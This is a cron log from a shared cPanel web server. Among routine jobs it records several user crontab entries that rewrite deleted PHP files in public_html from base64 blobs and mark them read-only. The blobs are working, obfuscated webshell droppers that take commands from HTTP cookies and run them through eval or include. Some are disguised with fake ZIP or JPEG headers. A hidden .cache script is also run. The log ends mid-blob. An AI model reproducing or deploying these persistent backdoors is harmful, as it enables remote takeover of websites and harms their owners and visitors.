Mar  2 04:41:01 medusa CROND[15047]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:42:01 medusa CROND[3423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:42:01 medusa CROND[3498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:42:01 medusa CROND[3499]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:42:01 medusa CROND[3500]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:42:01 medusa CROND[3501]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:42:01 medusa CROND[3502]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:42:01 medusa CROND[3504]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:42:01 medusa CROND[3506]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:42:01 medusa CROND[3507]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:42:01 medusa CROND[3508]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:42:01 medusa CROND[3511]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:42:01 medusa CROND[3513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:42:01 medusa CROND[3515]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:43:02 medusa CROND[22856]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:43:02 medusa CROND[22859]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:43:02 medusa CROND[22860]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:43:02 medusa CROND[22861]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:43:02 medusa CROND[22862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:43:02 medusa CROND[22870]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:43:02 medusa CROND[22871]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 04:43:02 medusa CROND[22874]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:43:02 medusa CROND[22872]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:43:02 medusa CROND[22877]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:43:02 medusa CROND[22878]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:43:02 medusa CROND[22887]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 04:43:02 medusa CROND[22888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:43:02 medusa CROND[22890]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:44:01 medusa CROND[9232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:44:02 medusa CROND[9446]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:44:02 medusa CROND[9447]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:44:02 medusa CROND[9448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb